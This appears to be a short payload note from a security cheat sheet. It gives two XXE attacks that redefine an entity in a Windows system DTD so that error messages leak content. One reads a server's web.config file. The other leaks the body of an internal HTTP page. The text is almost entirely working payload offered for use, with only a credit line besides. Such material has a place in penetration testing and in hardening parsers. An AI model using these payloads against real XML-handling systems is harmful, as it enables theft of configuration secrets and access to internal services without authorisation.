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Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents

Disclose local file:

<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "file://D:\webserv2\services\web.config">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://t/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>cacat</xxx>

Disclose HTTP Response:

<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "https://erp.company.com">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;
  ]><xxx>cacat</xxx>

Credit for hash fragment information disclosure trick goes to https://twitter.com/nytr0gen_

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